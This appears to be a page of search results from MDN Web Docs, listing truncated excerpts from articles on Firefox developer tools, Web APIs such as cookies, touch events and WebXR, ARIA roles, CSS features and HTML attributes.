another menu button allowing you to issue viewer-specific commands. viewers are dynamically loaded; when the panel is made to switch from one viewer to another, the old viewer is destroyed, and the new viewer is loaded in its place. in this way, the panelset and panels function like a frameset and frames. this comparison turns out to be quite apt, since each panel actually contains an anonymous browser, and individual viewers exist in separate documents loaded in the browser. this separation allows for viewers to be self-contained, with a viewer's xul defined in its own document and loaded in its own scope, without fear of collisions in the xul, css, or js. another convenient consequence of this is that if you use a properly set up development profile, then for the most part, the effects of d...
...… locale/ … skin/ … makefile.in install.rdf jar.mn makefile.in makefiles.sh almost all the interesting stuff is in resources/content/. ...
...i). either the host applications must provide these themselves (usually bundling dom inspector with the application, too), or dom inspector must explicitly support them by providing its own menu items and keyboard shortcuts with host-integration overlays. dom inspector explicitly supports several mozilla project applications by providing its own host-integration overlays. ...
...And 4 more matches
Tutorial: Show Allocations Per Call Path - Firefox Developer Tools
ns per call path this page shows how to use the debugger api to show how many objects a web page allocates, sorted by the function call path that allocated them. visit the url about:config, and set the devtools.chrome.enabled preference to true: setting the 'devtools.chrome.enabled' preference open a developer scratchpad (menu button > developer > scratchpad), and select "browser" from the "environment" menu. (this menu will not be present unless you have changed the preference as explained above.) selecting the 'browser' context in the scratchpad enter the following code in the scratchpad: // this simply defines the 'debugger' constructor in this // scratchpad; it doesn't actually start debugging anything. components.utils.import('resource://gre/modul...
...defines the 'debugger' constructor in this // scratchpad; it doesn't actually start debugging anything. components.utils.import('resource://gre/modules/jsdebugger.jsm'); adddebuggertoglobal(window); (function () { // the debugger we'll use to observe a tab's allocation. var dbg; // start measuring the selected tab's main window's memory // consumption. ...
... dbg.adddebuggee(w.wrappedjsobject); // enable allocation tracking in dbg's debuggees. ...
...And 4 more matches
Intensive JavaScript - Firefox Developer Tools
this means that long-running javascript functions can block the thread, leading to an unresponsive page and a bad user experience. you can use the frame rate and waterfall tools to see when javascript is causing performance problems, and to single out the particular functions that need attention. in this article we'll take an example site whose long-running javascript causes responsiveness problems, and apply two different approaches to fixing them. ...
... it has three controls: a radio button group to control how to run the javascript: as a single blocking operation in the main thread, as a series of smaller operations in the main thread using requestanimationframe(), or in another thread using a worker. a button to run the javascript, labeled "do pointless computations!". a button to start and stop some css animations. this just gives the browser some background tasks to perform. leaving the radio button set to "use blocking call in main thread", make a recording: press the "start animations" button start recording a performance profile press "do pointless computations!" two or three times stop recording the profile exactly what you see will vary from one machine to another, but it will be something like this: the top half ...
...press the "start animations" button start recording a performance profile press "do pointless computations!" two or three times stop recording the profile exactly what you see will vary from one machine to another, but it will be something like this: the top half of this is the waterfall overview. it gives us a compressed view of the waterfall, which tells us what kinds of operations the browser is doing during the recording. the pink says that we are mostly performing css calculations and possibly reflow: this is the css animation that's running throughout the profile. then there are three solid blocks of orange, representing javascript execution, one for each time we pressed the button. the bottom half, which is correlated with the timeline summary in time, shows frame rate. we can ...
...And 4 more matches
Waterfall - Firefox Developer Tools
the waterfall gives you insight into the sorts of things the browser is doing as it runs your site or app. it's based on the idea that the things a browser does when running a site can be divided into various types - running javascript, updating layout, and so on - and that at any given point in time, the browser is doing one of those things. so if you see a sign of a performance problem - a drop in the frame rate, for example - you can go to the waterfall to see what the browser was doing at that point in the recording. along the x-axis is time. recorded operations, called markers, are shown as horizontal bars, laid out in a waterfall to reflect the serial nature of the browser's execution. when a marker is selected you'll see more information about it in a sidebar on the right. this ...
...t on the kind of thing your site is doing: javascript-heavy sites will have a lot of orange, while visually dynamic sites will have a lot of purple and green. but there are common patterns which can alert you to possible performance problems. ...
...waterfall one pattern that you'll often see in the waterfall view is something like this: this is a visualization of the basic algorithm the browser uses to update the page in response to some event: javascript function call: some event - for example, a dom event - causes some javascript in the page to run. the javascript changes some of the page's dom or cssom. recalculate style: if the browser thinks the computed styles for page elements have changed, it must then recalculate them. layout: next, the browser uses the computed styles to figure out the position and geometry for the elements. this operation is labeled "layout" but is also sometimes called "reflow". paint: finally, the browser needs to repaint the elements to the screen. one last step is not shown in this sequence: the ...
...And 4 more matches
Basic usage of canvas - Web APIs
the <canvas> element <canvas id="tutorial" width="150" height="150"></canvas> at first sight a <canvas> looks like the <img> element, with the only clear difference being that it doesn't have the src and alt attributes. indeed, the <canvas> element has only two attributes, width and height. ...
... don't affect the actual drawing on the canvas. we'll see how this is done in a dedicated chapter of this tutorial. when no styling rules are applied to the canvas it will initially be fully transparent. ...
... of this tutorial. when no styling rules are applied to the canvas it will initially be fully transparent. fallback content the <canvas> element differs from an <img> tag in that, like for <video>, <audio>, or <picture> elements, it is easy to define some fallback content, to be displayed in older browsers not supporting it, like versions of internet explorer earlier than version 9 or textual browsers. you should always provide fallback content to be displayed by those browsers. ...
...And 4 more matches
Document.cookie - Web APIs
Web › API › Document › cookie
h quotes were treated as if the quotes were part of the string, instead of as if they were delimiters surrounding the actual path string. this has been fixed. ;domain=domain (e.g., 'example.com' or 'subdomain.example.com'). if not specified, this defaults to the host portion of the current document location. contrary to earlier specifications, leading dots in domain names are ignored, but browsers may decline to set the cookie containing such dots. if a domain is specified, subdomains are always included. note: the domain must match the domain of the javascript origin. setting cookies to foreign domains will be silently ignored. ;max-age=max-age-in-seconds (e.g., 60*60*24*365 or 31536000 for a year) ;expires=date-in-gmtstring-format if neither expires nor max-age specified...
... foreign domains will be silently ignored. ;max-age=max-age-in-seconds (e.g., 60*60*24*365 or 31536000 for a year) ;expires=date-in-gmtstring-format if neither expires nor max-age specified it will expire at the end of session. ...
...e silently ignored. ;max-age=max-age-in-seconds (e.g., 60*60*24*365 or 31536000 for a year) ;expires=date-in-gmtstring-format if neither expires nor max-age specified it will expire at the end of session. when user privacy is a concern, it's important that any web app implementation invalidate cookie data after a certain timeout instead of relying on the browser to do it. ...
...And 4 more matches
Intersection Observer API - Web APIs
the intersection observer api provides a way to asynchronously observe changes in the intersection of a target element with an ancestor element or with a top-level document's viewport. historically, detecting visibility of an element, or the relative visibility of two elements in relation to each other, has been a difficult task for which solutions have been unreliable and prone to causing the browser and the sites the user is accessing to become sluggish. as the web has matured, the need for this kind of information has grown. intersection information is needed for many reasons, such as: lazy-loading of images or other content as a page is scrolled. implementing "infinite scrolling" web sites, where more and more content is loaded and rendered as you scroll, so that the user doesn't hav...
...tion routines, all running on the main thread. the author of the web site may not even realize this is happening, since they may know very little about the inner workings of the two libraries they are using. as the user scrolls the page, these intersection detection routines are firing constantly during the scroll handling code, resulting in an experience that leaves the user frustrated with the browser, the web site, and their computer. the intersection observer api lets code register a callback function that is executed whenever an element they wish to monitor enters or exits another element (or the viewport), or when the amount by which the two intersect changes by a requested amount. this way, sites no longer need to do anything on the main thread to watch for this kind of element interse...
..., and their computer. the intersection observer api lets code register a callback function that is executed whenever an element they wish to monitor enters or exits another element (or the viewport), or when the amount by which the two intersect changes by a requested amount. this way, sites no longer need to do anything on the main thread to watch for this kind of element intersection, and the browser is free to optimize the management of intersections as it sees fit. one thing the intersection observer api can't tell you: the exact number of pixels that overlap or specifically which ones they are; however, it covers the much more common use case of "if they intersect by somewhere around n%, i need to do something." intersection observer concepts and usage the intersection observer api al...
...And 4 more matches
LocalFileSystem - Web APIs
assets (like images and attachments) to speed up performance, while creating persistent storage for unique data—such as drafts of emails that were composed while offline—that should not be lost before they are backed up into the cloud. using persistent storage the requestfilesystem() method lets you ask for persistent or temporary storage. persistent storage is storage that stays in the browser unless the app or the user removes it, but the user must grant you permission before you can use it. in contrast, temporary storage is automatically granted without any user permission, but it can be expunged by the browser at any time. to use persistent storage with the file system api, chrome exposes a requestquota api. so to request storage, you need to do something like the following: va...
...in. this means that your app cannot read, or write the files of another app's files. your app cannot access files in an arbitrary folder (such as, my pictures, my documents) on the user's hard drive either. for more information about restrictions, see the basic concepts article. example the following is a code snippet that shows how you can request a file system storage. //taking care of the browser-specific prefix window.requestfilesystem = window.requestfilesystem || window.webkitrequestfilesystem; // the first parameter defines the type of storage: persistent or temporary // next, set the size of space needed (in bytes) // initfs is the success callback // and the last one is the error callback // for denial of access and other errors. window.requestfilesystem(window.persistent, 1024...
...the user must grant permission before the app can use this type of storage. methods requestfilesystem() requests a file system where data should be stored. you access a sandboxed file system by requesting a localfilesystem object using this global method, window.
...And 4 more matches
Performance API - Web APIs
mhighrestimestamp the domhighrestimestamp type, as its name implies, represents a high resolution point in time. this type is a double and is used by the performance interfaces. the value could be a discrete point in time or the difference in time between two discrete points in time. the unit of domhighrestimestamp is milliseconds and should be accurate to 5 µs (microseconds). however, if the browser is unable to provide a time value accurate to 5 microseconds (because, for example, due to hardware or software constraints), the browser can represent the value as a time in milliseconds accurate to a millisecond. methods the performance interface has two methods. the now() method returns a domhighrestimestamp whose value that depends on the navigation start and scope. if the scope is a wind...
... the tojson() method returns a serialization of the performance object, for those attributes that can be serialized. properties the performance interface has two properties. ...
...perties the performance interface has two properties. the timing property returns a performancetiming object containing latency-related performance information such as the start of navigation time, start and end times for redirects, start and end times for responses, etc. the navigation property returns a performancenavigation object representing the type of navigation that occurs in the given browsing context, such as the page was navigated to from history, the page was navigated to by following a link, etc. interfaces performance provides methods and properties containing timing-related performance information for the given page. performanceentry provides methods and properties the encapsulate a single performance metric that is part of the performance timeline. performanceframetim...
...And 4 more matches
Storage Access API - Web APIs
content to gain unrestricted access to storage that it would normally only have access to in a first-party context (we refer to this as an origin’s first-party storage). the api provides methods that allow embedded resources to check whether they currently have access to their first-party storage, and to request access to their first-party storage from the user agent. concepts and usage most browsers implement a number of storage access policies that restrict access to cookies and site data for embedded, cross-origin resources. these restrictions range from giving embedded resources under each top-level origin a unique storage space to outright blocking of storage access when resources are loaded in a third-party context. the semantics around third-party cookie blocking policies in partic...
...mber of storage access policies that restrict access to cookies and site data for embedded, cross-origin resources. these restrictions range from giving embedded resources under each top-level origin a unique storage space to outright blocking of storage access when resources are loaded in a third-party context. the semantics around third-party cookie blocking policies in particular differ from browser to browser, but the core functionality is similar: cross-origin resources embedded in a third-party context are not given access to the same cookies and site storage that they would have access to when loaded in a first-party context. these cookie blocking policies are known to break embedded cross-origin content that requires access to its first-party storage. as an example, federated logins ...
...n"> ... </iframe> the api is designed to limit the potential storage exceptions to origins for which the user has shown an intent to interact. this is enforced through the following constraints: access requests are automatically denied unless the embedded content is currently processing a user gesture such as a tap or click. ...
...And 4 more matches
Touch events - Web APIs
ts during the start, move, and end phases. touch events are similar to mouse events except they support simultaneous touches and at different locations on the touch surface. the touchevent interface encapsulates all of the touchpoints that are currently active. the touch interface, which represents a single touchpoint, includes information such as the position of the touch point relative to the browser viewport. definitions surface the touch-sensitive surface. this may be a screen or trackpad. touch point a point of contact with the surface. this may be a finger (or elbow, ear, nose, whatever, but typically a finger) or stylus. interfaces touchevent represents an event that occurs when the state of touches on the surface changes. touch represents a single point of contact be...
...ace changes. touch represents a single point of contact between the user and the touch surface. touchlist represents a group of touches; this is used when the user has, for example, multiple fingers on the surface at the same time. example this example tracks multiple touchpoints at a time, allowing the user to draw in a <canvas> with more than one finger at a time. it will only work on a browser that supports touch events. note: the text below uses the term "finger" when describing the contact with the surface, but it could, of course, also be a stylus or other contact method. create a canvas <canvas id="canvas" width="600" height="600" style="border:solid black 1px;"> your browser does not support canvas element. </canvas> <br> log: <pre id="log" style="border: 1px solid #ccc;"><...
...then we get the context and pull the list of changed touch points out of the event's touchevent.changedtouches property. after that, we iterate over all the touch objects in the list, pushing them onto an array of active touchpoints and drawing the start point for the draw as a small circle...
...And 4 more matches
Movement, orientation, and motion: A WebXR example - Web APIs
y upon any 3d graphics frameworks such as three.js or the like for this example, we do use the glmatrix library for matrix math, which we've used in other examples in the past. this example also imports the webxr polyfill maintained by the immersive web working group, which is the team responsible for the webxr api's specification. by importing this polyfill, we allow the example to work on many browsers that don't yet have webxr implementations in place, and we smooth out any transient deviations from the specification that occur during these still somewhat experimental days of the webxr specification. options this example has a number of options you can configure by adjusting the values of constants before you load it in the browser. the code looks like this: const xrotationdegreesperseco...
...if true, you can use the mouse to pitch and yaw the view angle. allowkeyboardmotion if true, the w, a, s, and d keys move the viewer forward, left, backward, and to the right, while the up and down arrow keys move up and down. if false, only xr device changes to the view are permitted. enableforcepolyfill if this boolean is true, the example will attempt to use the webxr polyfill even if the browser actually has support for webxr. if false, the polyfill is only used if the browser doesn't implement navigator.xr. session_type the type of xr session to create: inline for an inline session presented in the context of the document and immersive-vr to present the scene to an immersive vr headset. mouse_speed a multiplier used to scale the inputs from the mouse used for pitch and yaw control...
...() to begin running the scene in the webxr session. if we already have an ongoing session, on the other hand, we call its end() method to stop the session. the last thing we do in this code is to check to see if xrsession is still non-null. if it is, we call sessionended(), the handler for the end event. this code should not be necessary, but there appears to be an issue in which at least some browsers are not correctly firing the end event. by running the event handler directly, we complete the close-out process manually in this situation. starting up the webxr session the sessionstarted() function handles actually setting up and starting the session, by setting up event handlers, compiling and installing the glsl code for the vertex and fragment shaders, and attaching the webgl layer to ...
...And 4 more matches
Rendering and the WebXR frame animation callback - Web APIs
once the xr session has been set up, with the webgl framebuffer connected and webgl primed with the data it needs in order to render the scene, you can set up the renderer to start running. this begins with getting the reference space in which you want to draw, with its origin and orientation set at the viewer's starting position and viewing direction. once that's in hand, you request that the browser call your rendering function the next time it needs a framebuffer to render your scene. this is done by calling the xrsession method requestanimationframe(). kicking off the renderer thus looks like this: let worldrefspace; async function runxr(xrsession) { worldrefspace = await xrsession.requestreferencespace("immersive-vr"); if (worldrefspace) { viewerrefspace = worldrefspace.geto...
...b is to render the frame. note that this code doesn't have a loop! instead, the frame rendering code—in this case, a function named mydrawframe()—is responsible for scheduling time to draw another frame by once again calling requestanimationframe(). ...
... requestanimationframe() since the last time the screen refreshed, the browser will call your frame renderer callback every time it's ready to repaint your app or site window. in this context, "repaint" simply means the process of ensuring that the screen's displayed content matches what the dom and the elements within are trying to present at the moment. ...
...And 4 more matches
ARIA: gridcell role - Accessibility
8</div> … </div> the first rule of aria is if a native html element or attribute has the semantics and behavior you require, use it instead of re-purposing an element and adding aria. instead use the native html td element in conjunction with the and contenteditable attribute: <td>potato</td> <td>cabbage</td> <td>onion</td> description gridcells with dynamically added, hidden, or removed rows and columns any element with a role="gridcell" applied to it should use aria to describe its order in the table-style grouping, provided the table, grid, or treegrid has the ability to have rows and/or columns dynamically added, hidden, or removed. use aria-colindex to describe a gridcell's order in the list of columns, and aria-rowindex to describe a gridcell's order in the list of rows. use a...
...ouping, provided the table, grid, or treegrid has the ability to have rows and/or columns dynamically added, hidden, or removed. use aria-colindex to describe a gridcell's order in the list of columns, and aria-rowindex to describe a gridcell's order in the list of rows. use aria-colcount and aria-rowcount on the parent element with role="grid" applied to it to set the total number of columns or rows. this sample code demonstrates a table-style grouping of information where the third and fourth columns have been removed. ...
...order in the list of columns, and aria-rowindex to describe a gridcell's order in the list of rows. use aria-colcount and aria-rowcount on the parent element with role="grid" applied to it to set the total number of columns or rows. this sample code demonstrates a table-style grouping of information where the third and fourth columns have been removed. ...
...And 4 more matches
ARIA: rowgroup role - Accessibility
an element with role="rowgroup" is a group of rows within a tabular structure. a rowgroup contains one or more rows of cells, grid cells, column headers, or row headers within a grid, table or treegrid. <div role="table" aria-label="populations" aria-describedby="country_population_desc"> <div id="country_population_desc">world populations by country</div> <div role="rowgroup"> <div role="row"> <span role="columnheader" aria-sort="descending">country</span> <span role="columnheader"aria-sort="none">population</span> </div> </div> <div role="rowgroup"> <div role="row"> <span role="cell">finland</span> <span role="cell">5.5 million</span> </div> <div role="row"> <span role="cell">france</span> <span r...
... their elements must be contained in, or owned by, elements with either the table or grid role. using the native <thead>, <tfoot> , and <tbody> html elements, whenever possible, is strongly encouraged. to create an aria table header, table footer or table body, add role="rowgroup" to the element. that rowgroup should be nested within a grid, table or treegrid, encompassing a group of one or more rows. each row, in turn, contains child cells. these cells can be of different types, depending on whether they are column or row headers, or plain or grid cells. note: using the native html table element (<table>) along with the table header (<thead>), footer (<tfoot>), and body (<tbody>) elements whenever possible is strongly encouraged. associated wai-aria roles, states, and properties contex...
...th the table header (<thead>), footer (<tfoot>), and body (<tbody>) elements whenever possible is strongly encouraged. associated wai-aria roles, states, and properties context roles role="table" one of the three possible contexts (along with grid and treegrid) in which you'll find a row. ...
...And 4 more matches
@supports - CSS: Cascading Style Sheets
Web › CSS › @supports
this is called a feature query. the rule may be placed at the top level of your code or nested inside any other conditional group at-rule. @supports (display: grid) { div { display: grid; } } @supports not (display: grid) { div { float: right; } } in javascript, @supports can be accessed via the css object model interface csssupportsrule. syntax the @supports at-rule associates a block of statements with a supports condition. the supports condition consists of one or more name-value pairs combined by conjunctions (and), disjunctions (or), and/or negations (not). ...
...s of one or more name-value pairs combined by conjunctions (and), disjunctions (or), and/or negations (not). precedence of operators can be defined with parentheses. declaration syntax the most basic supports condition is a simple declaration (a property name followed by a value, separated by a colon). the declaration must be surrounded by parentheses. the following example returns true if the browser's transform-origin property considers 5% 5% valid: @supports (transform-origin: 5% 5%) {} function syntax the second basic supports condition is a supports function, the syntax for these is supported by all browsers, but the functions themselves are still being standardized. selector() tests if the browser supports the tested selector syntax. the following example returns true if the bro...
...lves are still being standardized. selector() tests if the browser supports the tested selector syntax. the following example returns true if the browser supports the child combinator: @supports selector(a > b) {} the not operator the not operator can precede any expression to create a new expression, resulting in the negation of the original one. the following example returns true if the browser's transform-origin property doesn't consider 10em 10em 10em valid: @supports not (transform-origin: 10em 10em 10em) {} as with any operator, the not operator can be applied to a declaration of any complexity. the following examples are both valid: @supports not (not (transform-origin: 2px)) {} @supports (display: grid) and (not (display: inline-grid)) {} note: there is no need to enclose t...
...And 4 more matches
Using CSS animations - CSS: Cascading Style Sheets
imation techniques: they’re easy to use for simple animations; you can create them without even having to know javascript. the animations run well, even under moderate system load. simple animations can often perform poorly in javascript (unless they’re well made). the rendering engine can use frame-skipping and other techniques to keep the performance as smooth as possible. letting the browser control the animation sequence lets the browser optimize performance and efficiency by, for example, reducing the update frequency of animations running in tabs that aren't currently visible. configuring the animation to create a css animation sequence, you style the element you want to animate with the animation property or its sub-properties. this lets you configure the timing, duration, a...
...tyle that configures the animation, keyframes use a <percentage> to indicate the time during the animation sequence at which they take place. 0% indicates the first moment of the animation sequence, while 100% indicates the final state of the animation. because these two times are so important, they have special aliases: from and to. both are optional. if from/0% or to/100% is not specified, the browser starts or finishes the animation using the computed values of all attributes. you can optionally include additional keyframes that describe intermediate steps between the start and end of the animation. examples note: some older browsers (pre-2017) may need prefixes; the live examples you can click to see in your browser include the -webkit prefixed syntax. making text slide across the brow...
...to avoid this problem put the element to be animated in a container, and set overflow:hidden on the container. ...
...And 4 more matches
Layout using named grid lines - CSS: Cascading Style Sheets
ether when we use named lines. line naming is incredibly useful, but some of the more baffling looking grid syntax comes from this combination of names and track sizes. once you work through some examples it should become clearer and easier to work with. naming lines when defining a grid you can assign some or all of the lines in your grid a name when you define your grid with the grid-template-rows and grid-template-columns properties. to demonstrate i’ll use the simple layout created in the guide on line-based placement. this time i’ll create the grid using named lines. * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8...
...apper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } when defining the grid, i name my lines inside square brackets. those names can be anything you like. ...
... solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } when defining the grid, i name my lines inside square brackets. those names can be anything you like. i have defined a name for the start and end of the container, both for rows and columns. then defined the centre block of the grid as content-start and content-end again, both for columns and rows although you do not need to name all of the lines on your grid. ...
...And 4 more matches
Consistent list indentation - CSS: Cascading Style Sheets
one of the most common style changes made to lists is a change in the indentation distance—that is, how far the list items are pushed over to the right. this often leads to frustration, because what works in one browser often doesn't have the same effect in another. for example, if you declare that lists have no left margin, they move over in internet explorer, but sit stubbornly in place in gecko-based browsers.this article will help you understand the problems that can occur and how to avoid them. in order to understand why this is the case, and more importantly how to avoid the problem altogether, it's necessary to examine the details of list construction. making a list first, we consider a single, pure list item. this list item has no marker (otherwise known as a "bullet") and is not...
...e "bullets," as shown in figure 4. visually, the markers are outside the content area of the <ul>, but that's not the important part here. what's key is that the markers are placed outside the "principal box" of the <li> elements, not the <ul>. they're sort of like appendages to the list items, hanging outside the content-area of the <li> but still attached to the <li>. this is why, in every browser except internet explorer for windows, markers are placed outside any border set for an <li> element, assuming the value of list-style-position is outside. if it's changed to inside, then the markers are brought inside the <li>'s content, as though they're an inline box placed at the very beginning of the <li>. indenting it twice so how will all this appear in a document? at the moment, we hav...
... though they're an inline box placed at the very beginning of the <li>. indenting it twice so how will all this appear in a document? at the moment, we have a situation analogous to these styles: ul, li {margin-left: 0; padding-left: 0;} if we dropped this list into a document as-is, there would be no apparent indentation and the markers would be in danger of falling off the left edge of the browser window. in order to avoid this and get some indentation, there are really only three options available to browser implementors. give each <li> element a left margin. give the <ul> element a left margin. give the <ul> element some left padding. as it turns out, nobody seems to have used the first option. the second option was taken by internet explorer for windows and macintosh, and oper...
...And 4 more matches
Using media queries - CSS: Cascading Style Sheets
media queries are used for the following: to conditionally apply styles with the css @media and @import at-rules. to target specific media for the <style>, <link>, <source>, and other html elements with the media= attribute. to test and monitor media states using the window.matchmedia() and mediaquerylist.addlistener() javascript methods. ...
...arated list of queries, it will only negate the specific query to which it is applied. if you use the not operator, you must also specify a media type. note: in level 3, the not keyword can't be used to negate an individual media feature expression, only an entire media query. only the only operator is used to apply a style only if an entire query matches, and is useful for preventing older browsers from applying selected styles. when not using only, older browsers would interpret the query screen and (max-width: 500px) simply as screen, ignoring the remainder of the query, and applying its styles on all screens. if you use the only operator, you must also specify a media type. , (comma) commas are used to combine multiple media queries into a single rule. each query in a comma-separate...
... are being used in low-light conditions. this example applies styles when the user's primary input mechanism (such as a mouse) can hover over elements: @media (hover: hover) { ... } many media features are range features, which means they can be prefixed with "min-" or "max-" to express "minimum condition" or "maximum condition" constraints. for example, this css will apply styles only if your browser's viewport width is equal to or narrower than 12450px: @media (max-width: 12450px) { ... } if you create a media feature query without specifying a value, the nested styles will be used as long as the feature's value is not zero (or none, in level 4). for example, this css will apply to any device with a color screen: @media (color) { ... } if a feature doesn't apply to the device on which ...
...And 4 more matches
display - CSS: Cascading Style Sheets
Web › CSS › display
e run-in box becomes the first inline box of the block box that follows it. run-in elements act like inlines or blocks, depending on the surrounding elements. that is: if the run-in box contains a block box, same as block. if a block box follows the run-in box, the run-in box becomes the first inline box of the block box. if an inline box follows, the run-in box becomes a block box. note: browsers that support the two value syntax, on finding the outer value only, such as when display: block or display: inline is specified, will set the inner value to flow. this will result in expected behavior; for example if you specify an element to be block, you would expect that the children of that element would participate in block and inline normal flow layout. inside <display-inside> thes...
...evel box. flex the element behaves like a block element and lays out its content according to the flexbox model. grid the element behaves like a block element and lays out its content according to the grid model. ruby the element behaves like an inline element and lays out its content according to the ruby formatting model. it behaves like the corresponding html <ruby> elements. note: browsers that support the two value syntax, on finding the inner value only, such as when display: flex or display: grid is specified, will set their outer value to block. this will result in expected behavior; for example if you specify an element to be display: grid, you would expect that the box created on the grid container would be a block level box. list item <display-listitem> the element ...
...item <display-listitem> the element generates a block box for the content and a separate list-item inline box. a single value of list-item will cause the element to behave like a list item. this can be used together with list-style-type and list-style-position. list-item can also be combined with any <display-outside> keyword and the flow or flow-root <display-inside> keywords. note: in browsers that support the two-value syntax, if no inner value is specified it will default to flow. if no outer value is specified, the principal box will have an outer display type of block. internal <display-internal> some layout models such as table and ruby have a complex internal structure, with several different roles that their children and descendants can fill. this section defines those ...
...And 4 more matches
text-rendering - CSS: Cascading Style Sheets
the text-rendering css property provides information to the rendering engine about what to optimize for when rendering text. the browser makes trade-offs among speed, legibility, and geometric precision. /* keyword values */ text-rendering: auto; text-rendering: optimizespeed; text-rendering: optimizelegibility; text-rendering: geometricprecision; /* global values */ text-rendering: inherit; text-rendering: initial; text-rendering: unset; note: the text-rendering property is an svg property that is not defined in any css standard. however, gecko and webkit browsers let you apply this property to html and xml content on windows, macos, and linux. one very visible effect is optimizelegibility, which enables ligatures (ff, fi, fl, etc.) in text smaller than 20px for some fonts (for examp...
...ed in any css standard. however, gecko and webkit browsers let you apply this property to html and xml content on windows, macos, and linux. one very visible effect is optimizelegibility, which enables ligatures (ff, fi, fl, etc.) in text smaller than 20px for some fonts (for example, microsoft's calibri, candara, constantia, and corbel, or the dejavu font family). syntax values auto the browser makes educated guesses about when to optimize for speed, legibility, and geometric precision while drawing text. for differences in how this value is interpreted by the browser, see the compatibility table. optimizespeed the browser emphasizes rendering speed over legibility and geometric precision when drawing text. ...
...auto the browser makes educated guesses about when to optimize for speed, legibility, and geometric precision while drawing text. for differences in how this value is interpreted by the browser, see the compatibility table. optimizespeed the browser emphasizes rendering speed over legibility and geometric precision when drawing text. it disables kerning and ligatures. optimizelegibility the browser emphasizes legibility over rendering speed and geometric precision. this enables kerning and optional ligatures. geometricprecision the browser emphasizes geometric precision over rendering speed and legibility. certain aspects of fonts — such as kerning — don't scale linearly. so this value can make text using those fonts look good. ...
...And 4 more matches
Adding captions and subtitles to HTML5 video - Developer guides
this article will take the same player and show how to add captions and subtitles to it, using the webvtt format and the <track> element. captioned video example in this article, we will refer to the video player with captions example. this example uses an excerpt from the sintel open movie, created by the blender foundation. note: you can find the source on github, and also view the example live. ...
...for example english or deutsch — these labels will appear in the user interface to allow the user to easily select which subtitle language they want to see. src is assigned a valid url pointing to the relevant webvtt subtitle file in each case. srclang indicates what language each subtitle files' contents are in. the default attribute is set on the english <track> element, indicating to the browser that this is the default subtitle file definition to use when subtitles have been turned on and the user has not made a specific selection. in addition to adding the <track> elements, we have also added a new button to control the subtitles menu that we will build. as a consequence, the video controls now look as follows: <div id="video-controls" class="controls" data-state="hidden"> <but...
...; font-size:1rem; font-weight:bold; color:#666; background:#000; border-radius:2px; } there are also other css changes that are specific to some extra javascript implementation, but these will be mentioned at the appropriate place below. subtitle implementation a lot of what we do to access the video subtitles revolves around javascript. ...
...And 4 more matches
Mobile Web Development - Developer guides
Web › Guide › Mobile
also see jason grlicky's guide to mobile-friendliness for web developers. designing for mobile devices mobile devices have quite different hardware characteristics compared with desktop or laptop computers. ...
...ful, and these apis give mobile users new ways to interact with your site. working with small screens responsive web design is a term for a set of techniques that enables your web site to adapt its layout as its viewing environment — most obviously, the size and orientation of the screen — changes. it includes techniques such as: fluid css layouts, to make the page adapt smoothly as the browser window size changes the use of media queries to conditionally include css rules appropriate for the device screen width and height the viewport meta tag instructs the browser to display your site at the appropriate scale for the user's device. working with touch screens to use a touch screen you'll need to work with dom touch events. you won't be able to use the css :hover pseudo-class, an...
...y loading images appropriate to the device screen size and resolution. you do this in css by querying for screen height, width, and pixel ratio. you can also make use of css properties to implement visual effects like gradients and shadows without images. mobile apis finally, you can take advantage of the new possibilities offered by mobile devices, such as orientation and geolocation. ...
...And 4 more matches
Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
hich your website may need to let the user select a color. perhaps you have a customizable user interface, or you're implementing a drawing app. maybe you have editable text and need to let the user choose the text color. or perhaps your app lets the user assign colors to folders or items. although historically it's been necessary to implement your own color picker, html now provides support for browsers to provide one for your use through the <input> element, by using "color" as the value of its type attribute. the <input> element represents a color only in the hexadecimal string notation covered above. example: picking a color let's look at a simple example, in which the user can choose a color. as the user adjusts the color, the border around the example changes to reflect the new color.
...as include: a color that is naturally associated with the topic of your content, such as the existing color identified with a product or idea or a color representative of the emotion you wish to convey. a color that comes from imagery associated with what your content is about. if you're creating a website about a given item or product, choose a color that's physically present on that item. browse websites that let you look at lots of existing color palettes and images to find inspiration. when trying to decide upon a base color, you may find that browser extensions that let you select colors from web content can be particularly handy. some of these are even specifically designed to help with this sort of work. for example, the website colorzilla offers an extension (chrome / firefox) t...
... your contrast is too high, the user may find your site garish and unpleasant to look at. color, backgrounds, contrast, and printing what looks good on screen may look very different on paper. in addition, ink can be expensive, and if a user is printing your page, they don't necessarily need all the backgrounds and such using up their precious ink when all that matters is the text itself. ...
...And 4 more matches
HTML attribute reference - HTML: Hypertext Markup Language
tive text in case an image can't be displayed. async <script> executes the script asynchronously. ...
...use css background-image instead. bgcolor <body>, <col>, <colgroup>, <marquee>, <table>, <tbody>, <tfoot>, <td>, <th>, <tr> background color of the element. note: this is a legacy attribute. please use the css background-color property instead. ...
...ld span. content <meta> a value associated with http-equiv or name depending on the context. contenteditable global attribute indicates whether the element's content is editable. contextmenu global attribute defines the id of a <menu> element which will serve as the element's context menu. controls <audio>, <video> indicates whether the browser should show playback controls to the user. coords <area> a set of values specifying the coordinates of the hot-spot region. crossorigin <audio>, <img>, <link>, <script>, <video> how the element handles cross-origin requests csp <iframe> specifies the content security policy that an embedded document must agree to enforce upon itself. data ...
...And 4 more matches
<a>: The Anchor element - HTML: Hypertext Markup Language
Web › HTML › Element › a
red in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. attributes this element's attributes include the global attributes. downloadhtml5 prompts the user to save the linked url instead of navigating to it. can be used with or without a value: without a value, the browser will suggest a filename/extension, generated from various sources: the content-disposition http header the final segment in the url path the media type (from the (content-type header, the start of a data: url, or blob.type for a blob: url) defining a value suggests it as the filename. / and \ characters are converted to underscores (_). filesystems may forbid other char...
